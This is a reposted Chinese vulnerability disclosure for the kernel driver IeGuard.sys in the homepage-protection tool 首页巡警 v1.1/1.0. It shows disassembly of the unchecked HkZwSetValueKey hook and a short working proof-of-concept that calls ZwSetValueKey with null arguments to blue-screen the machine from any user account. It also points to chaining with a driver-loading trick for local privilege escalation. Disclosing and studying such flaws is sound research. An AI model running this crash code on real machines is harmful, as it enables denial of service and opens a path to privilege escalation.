首页 网络安全 安全学院 查看内容

首页巡警v1.1/1.0 内核驱动 拒绝服务 及 本地提权漏洞

2009-2-4 07:11 745 0

摘要: 作者:MJ0011来源:MJ0011的内核驱动研究所 首页巡警v1.1/1.0的内核驱动程序存在严重漏洞 安装了首页巡警v1.1(v1.0)的机器,任意权限的用户可导致系统蓝屏(BSOD),造成拒...
关键词: nbsp text 00011430 dword 蓝屏 push ptr 巡警 ValueName RtlCompareUnicod

作者:MJ0011来源:MJ0011的内核驱动研究所 首页巡警v1.1/1.0的内核驱动程序存在严重漏洞 安装了首页巡警v1.1(v1.0)的机器,任意权限的用户可导致系统蓝屏(BSOD),造成拒绝服务攻击 结合我之前公布的SystemCrashDumpInformation加载驱动方式,可以在安装了HIPS的机器上造成本地提权漏洞,即任意权限的用户可以加载驱动到内核并执行。 出问题的函数是IeGuard.sys!HkZwSetValueKey 该函数的第三个参数是PUNICODE_STRING ValueName IeGuard没有对参数做任何检查就使用RtlCompareUnicodeString函数对该值进行判断,只要在RING3对此参数置0,IeGuard将立即导致系统蓝屏 相关汇编代码: .text:00011430 HkZwSetValueKey proc near                ; DATA XREF: HookKeyRoutine+52 o.text:00011430                                          ; sub_11B66+45 o.text:00011430.text:00011430 StartPageUniName= UNICODE_STRING ptr -14h.text:00011430 var_C            = dword ptr -0Ch.text:00011430 Object           = dword ptr -8.text:00011430 isPass           = byte ptr -1.text:00011430 Handle           = dword ptr  8.text:00011430 ValueName        = dword ptr  0Ch.text:00011430 arg_8            = dword ptr  10h.text:00011430 arg_C            = dword ptr  14h.text:00011430 arg_10           = dword ptr  18h.text:00011430 arg_14           = dword ptr  1Ch.text:00011430.text:00011430                  mov      edi, edi.text:00011432                  push     ebp.text:00011433                  mov      ebp, esp.text:00011435                  sub      esp, 14h.text:00011438                  push     ebx.text:00011439                  xor      ebx, ebx.text:0001143B                  mov      [ebp+isPass], bl.text:0001143E                  call     ds:ExGetPreviousMode.text:00011444                  cmp      al, 1.text:00011446                  jnz      loc_114FA.text:00011446.text:0001144C                  push     offset str_StartPage ; SourceString.text:00011451                  lea      eax, [ebp+StartPageUniName].text:00011454                  push     eax              ; DestinationString.text:00011455                  call     ds:RtlInitUnicodeString.text:0001145B                  push     1                ; CaseInSensitive.text:0001145D                  push     [ebp+ValueName] ; String2.text:00011460                  lea      eax, [ebp+StartPageUniName].text:00011463                  push     eax              ; String1.text:00011464                  call     ds:RtlCompareUnicodeString<—此处未做任何判断就将ValueName传递给RtlCompareUnicodeString 导致蓝屏 .text:0001146A                  test     eax, eax.text:0001146C                  jnz      loc_114FA利用代码(该代码运行后即可导致安装了首页巡警的机器立即蓝屏,可在任意用户权限下执行) HMODULE hlib = LoadLibrary("ntdll.dll");PVOID p = GetProcAddress(hlib , "ZwSetValueKey");__asm{push 0push 0push 0push 0push 0push 0call p }测试程序下载:http://www.debugman.com/read.php?tid=1330或:http://mj0011.ys168.com/ 漏洞演示\IeGuardLeakTest.rar
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部